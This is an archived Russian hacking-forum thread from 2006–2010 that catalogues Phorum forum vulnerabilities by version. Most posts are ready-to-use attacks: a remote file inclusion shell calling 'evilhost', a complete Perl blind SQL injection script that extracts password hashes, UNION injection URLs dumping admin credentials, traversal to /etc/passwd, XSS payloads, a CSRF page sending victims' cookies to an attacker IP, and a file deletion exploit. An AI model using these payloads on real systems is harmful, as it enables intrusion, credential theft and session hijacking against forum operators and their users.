PDA

Просмотр полной версии : [Обзор уязвимостей Phorum]


_-[A.M.D]HiM@S-_
14.11.2006, 15:24
Привет ....Публикую Обзорчик .....Просто хочю что-бы в этом раздели были все форумы....Постеппенно зделаем...
Phorum 3.3.2a
Обзор:Недостаток защиты в программе позволяет удаленным пользователям включать внешние php сценарии и выполнять произвольный код и команды
Пример:Создаем файл replace.php на сайте evilhost
<?
system("$cmd");
?>
http://[target]/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=http://[evilhost]&cmd=ls
PHORUM 3.2.11
Обзор:$f - идентификатор форума, переменная устанавливается в строке запроса. $admindir/forums/$num.php - это как раз ссылка на файл конфигурации для каждого форума; в этом файле и устанавливается переменная $ForumTableName. Так что, если просто указать ForumTableName в запросе, ее значение будет изменено. А что произойдет, если файла $admindir/forums/$num.php нет ? Будет выдан заголовок "lоcation: ...", и ... выполнение скрипта продолжится! А $ForumTableName сохранит свое значение, заданое в строке запроса.
Пример:http://somesite.ru/phorum/download.php?f=999&ForumTableName=etc&file=passwd
Phorum 3.4.7
Описание:SQL инъекция обнаружена в 'include/userlogin.php' сценарии в 'phorum_uriauth' переменной
Пример:
http://localhost/phorum347/list.php?f=1&phoru m_uriauth=waraxe%2527%20AND%20mid(password,2,1)=3/*:foobar
Эксплоит:
################################################## #################################
# Sql injection exploit for Phorum 3.4.7 #
# #
# For details look at http://www.waraxe.us/index.php?modname=sa&id=19 #
# #
# #
################################################## ##################################

$remote = 'localhost'; # hostname of the target
$port = 80; # port number, usually 80
$url = '/phorum347'; # path to Phorum, without ending "/"
$username = 'test'; # username, who's info we will pull out

#-----------------------------------------------------------------------------------


use IO::Socket;
@chars = ('0','1','2','3','4','5','6','7','8','9','a','b',' c','d','e','f');
$data = '';
$md5hash = '';
$url .= '/list.php?f=1';

for($nr=1;$nr<33;$nr++)
{
for($cnt=0;$cnt<16;$cnt++)
{
$charx = @chars[$cnt];
$uriauth = "$username%2527%20AND%20MID(password," . $nr . ',1)=%2527' . $charx .'%2527/*';
$cookie = "phorum_uriauth=$uriauth";

$data = MakeGetRequest($remote, $url ,$cookie);
$match = isMatch($data);

$logline = "pos --> " . $nr . " ,char for test --> " . $charx . " --> " . $match;
print $logline . "\n";

if($match == 1)
{
$md5hash .= @chars[$cnt];
$logline = "current md5hash --> " . $md5hash;
print $logline . "\n";
break;
}
}
}

$logline = "Final md5hash --> " . $md5hash;
print $logline . "\n";
exit();




sub MakeGetRequest()
{
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM)
or die "Couldnt connect to $remote:$port : $@\n";
$str = "GET " . $url . " HTTP/1.0\r\n";
print $socket $str;
print $socket "Cookie: $cookie\r\n";
print $socket "Host: $remote\r\n\r\n";

$buff = "";
while ($answer = <$socket>)
{
$buff .= $answer;
}
close($socket);
return $buff;
}


sub isMatch($data)
{
$idx1 = index($data,"<a href=\"login.php?logout=1");

if($idx1 > -1)
{
$bingo = 1;
}
else
{
$bingo = 0;
}

return $bingo;
}
Phorum 4.3.7
Описание:Уязвимость обнаружена в Phorum. Удаленный пользователь может получить доступ к сессии других пользователей.
Пример:
http://site.com/phorum/profile.php?f=1&id=2&phorum_uriauth=testuser%3Aeb5cd67f6daf1f35d45a24a3 6355f4b1
m-phorum 0.2
Описание:
1. Уязвимость существует из-за недостаточной обработки входных данных в параметре "go" в сценарии "index.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

2. Уязвимость существует из-за недостаточной обработки входных данных в параметре "go" сценария "index.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:
http://victim/path/index.php?go="><script>alert(document.cookie)</script>
http://victim/path/index.php?go="><script>alert(/Codexploder'tq/)</script>
http://victim/path/index.php?go="><script>alert(document.domain)</script>
Phorum 5.x
Описание:Приложение некорректно фильтрует входные данные перед выполнением SQL запроса. Как следствие, удаленный атакующий может выполнить произвольный SQL код на уязвимой системе.
Пример:
http://site.com/phorum//read.php?1,[SQL CODE HERE],newer
Phorum 5.0.х - 5.0.12
Обзор:переменна "$message_id" не фильтруется.
Пример:http://localhost/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2c1%2c1%2cCO NCAT(username%2c%27%27%2cpassword)%2c1%2c1%2c1%2c1 %2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20 phorum_users%20WHERE%20admin=1
Phorum 5.0.12
Описание:Уязвимость существует из-за некорректной фильтрации данных в параметре forum_id файла 'follow.php'. Удаленный атакующий может с помощью специально сформированного URL выполнить произвольный SQL код на целевом сервере.
Пример:
http://[target]/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2 c1%2c1%2cCONCAT(username%2c%27|%27%2cpassword)%2c1 %2c1%2c1%2c1%2c1%2c1%2c1%21%2c1%2c1%2c1%2c1%2c1%2c 1%20FROM%20phorumusers%20WHERE%20admin=1
Phorum 5.0.14a
Пример:Удаленный пользователь может выполнить атаки типа "HTTP Response Splitting".
http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a<html>Scanned by PTsecurity</html>%0d%0a&author=1&subject=1&match_forum=ALL&match_type=ALL&match_dates=30
Phorum 5.0.0 – 5.0.20
Описание:Уязвимость существует из-за недостаточной обработки входных данных в параметре “forum_ids[]” сценария “search.php”. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Пример:
http://localhost/phorum520/search.php?1,search=a,page=1,match_type=ALL,match_ dates=30,match_forum=ALL,body=1,author=1,subject=1 ,&forum_ids[]=-99)/**/UNION/**/ALL/**/SELECT/**/1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23,24,25,26,27,28,29,30,21,32/**/FROM/**/phorum_users/**/WHERE/**/admin=1/**/LIMIT/**/1/*
Phorum 5.1.14
Описание:Уязвимость существует из-за недостаточной обработки входных данных в параметре "template". Удаленный пользователь может с помощью специально сформированного URL просмотреть произвольные файлы на системе. Для удачной эксплуатации уязвимости опция "register_globals" должна быть включена, опция "magic_quotes_gpc" – отключена.
Пример:http://[host]/pm.php?1,page=1&template=[file]%00

Спасибо за внимание.

Zak!
21.11.2006, 00:01
Извените пожалуйста если не в тему, но всетаки: как узнать ВЕРСИЮ пхорума?

ettee
21.11.2006, 00:26
phorum/docs/upgrade.txt
phorum/docs/NEWS

IgrVa
18.12.2006, 23:12
Можно и так
phorum/admin.php

_-[A.M.D]HiM@S-_
22.01.2007, 01:26
*************Внимание - Внимание*****************
Уважаемые пользователи, стыд да срам. Впредь флуд в этой теме, а также в подобных темах, будет строго наказываться. Это первое и последнее предупреждение.
*************Внимание - Внимание*****************

*************Attention - Attention*****************
Dear users, shame on you. Flood in this and similar themes will be strictly punished from now. It is last warning
*************Attention - Attention*****************

_GaLs_
25.05.2007, 11:09
Phorum 5.1.20

Обнаруженные уязвимости позволяют удаленному пользователю произвести XSS нападение и выполнить произвольные SQL команды в базе данных приложения.
1. Уязвимость существует из-за недостаточной обработки входных данных в параметре "recipients" сценария pm.php. Удаленный авторизованный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
2. Уязвимость существует из-за недостаточной обработки входных данных в параметре "group_id" сценария admin.php при редактировании групп и в параметре "smiley_id" в сценарии admin.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
3. Уязвимость существует из-за недостаточной проверки входных данных в параметре "$_POST[user_ids]" в массиве "$userdata" в сценарии include/controlcenter/users.php. Удаленный пользователь может с помощью специально сформированного POST запроса получить административные привилегии в приложении. Для успешной эксплуатации уязвимости опция "register_globals" должна быть включена в конфигурационном файле PHP.
4. Уязвимость существует из-за того, что приложение позволяет администратору произвести некоторые действия через HTTP запрос без дополнительной проверки подлинности пользователя. Злоумышленник может обманом заставить администратора приложения нажать на специально сформированную ссылку и изменить некоторые настройки.

_GaLs_
29.05.2007, 15:04
Phorum 5.1.13
Описание:Уязвимость позволяет удаленному пользователю произвести XSS нападение.

Уязвимость существует из-за недостаточной обработки входных данных в URL. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта. Пример:

http://[host]/read.php?1,1[code]

Phorum 5.0.7.beta
Описание: Уязвимость в поисковом движке Phorum позволяет удаленному пользователю выполнить XSS нападение.

http://phorum.org/phorum5/search.php?12,search=vamp,page=1,match_type=ALL,
match_dates=00,match_forum=ALL ,body=,author=,subject= [ Evil Code Here ]

Phorum 5.0.3 Beta
Описание: Несколько уязвимостей обнаружено в Phorum в 'register.php', 'login.php', и 'profile.php' сценариях. Удаленный пользователь может выполнить XSS нападение.

login.php?HTTP_REFERER=[XSS]
register.php?&HTTP_REFERER=[XSS]
profil e.php?id=2&action=edit&target=[XSS]

BlackCats
07.07.2007, 15:43
Phorum version 5.1.22 (последняя на данный момент)
Активнаяя Xss
в профиле жмём
Edit Signature
там пишем:
"><script>alert(99)</script> (ну или ваш xss скрипт)
теперь когда вы будете просматривать своё профиль у вас будет вылетать алерт...

foopi
19.12.2008, 22:40
http://site/phorum/register.php

Здесь для защиты от спама стоит капча.
туда можно ввести тока 5 символов (в зависимости от длины капчи).
вводим туда такой текст:
">lol
Далее жмём на ОК. там около поля появляется такое:
lol" size="6" maxlength="5" />
теперь максимальная длина неограничена и можно туда ввести всё что угодно.например
"><script>alert()<script>


Эту же уязвимость можно также провернуть в
/phorum/posting.php?1

PaCo
19.03.2009, 10:23
Дико изиняюсь за оффтоп но как можно шелл подлить имея акк админа на версию 5.2.10? Я уже все перерыл и не нашел там работы с файловой системой кроме как с /cache/ но там .htaccess

[underwater]
17.04.2009, 16:44
XSS (все версии)

} elseif(isset($_POST["panel"])){
$panel = $_POST["panel"];
Видно, что фильтрации на символы нету,и что можно использовать <, >, запятую, которые могут быть преобразованы в HTML. Можно воспользоватся этим:
<form method="post" action="http://web/path/control.php">
<input type="text" name="panel" value="Тут XSS" />
<input type="submit" value=" Submit "/>
</form>

Отправляем нечто вроде: "><h1>проверка" и видим что переменная $panel инфицировалась.
$PHORUM['DATA']['POST_VARS'].="<input type=\"hidden\" name=\"panel\" value=\"{$panel}\" />\n";

CSRF Уязвимость

Создаем файл, в котором будет :
Index.html
<object width="425" height="344">
<param name="movie" value="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1">
</param>
<param name="allowFullScreen" value="true">
</param>
<param name="allowscriptaccess" value="always">
</param>
<embed src="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344">
</embed>
</object>
<br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br>
<br><br>
<iframe src="test.html" width="1" height="1" frameborder="0"></iframe>
test.html

<form method="post" action="http://forum.ru/control.php">
<input type="hidden" value='">
<script>document.location="http://mi_ip/metopo.json?req=" + document.cookie;</script>
<br x="' name="panel"/>
<input type="submit" value=" Submit "/>
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>

RulleR
23.05.2010, 13:42
Phorum version 5.2.15a

File Disclosure + File Deletion

Vuln file: /mods/spamhurdles/captcha/spoken_captcha.php/*...*/
global $PHORUM;
$conf = $PHORUM["mod_spamhurdles"];

if ($conf["spoken_captcha"] && file_exists($conf["flite_location"]) &&
isset($PHORUM["SPAMHURDLES"]["captcha"]["spoken_text"]))
{
/*...*/
$tmpfile = "{$PHORUM["cache"]}/spokencaptcha_{$key}.wav";
/*...*/
if (file_exists($tmpfile) and filesize($tmpfile) > 0) {
header("Content-Type: audio/x-wav");
header("Content-Disposition: attachment; filename=captchacode.wav");
header("Content-Length: " . filesize($tmpfile));
readfile($tmpfile);
unlink($tmpfile);
exit(0);
/*...*/
Need: magic_quotes = Off && register_globals = On
Exploit:POST http://[host]/[path]/mods/spamhurdles/captcha/spoken_captcha.php HTTP/1.0
Content-type: application/x-www-form-urlencoded

PHORUM[mod_spamhurdles][spoken_captcha]=1&PHORUM[mod_spamhurdles][flite_location]=spoken_captcha.php&PHORUM[SPAMHURDLES][captcha][spoken_text]=1&PHORUM[cache]=../../../scripts/.htaccess%00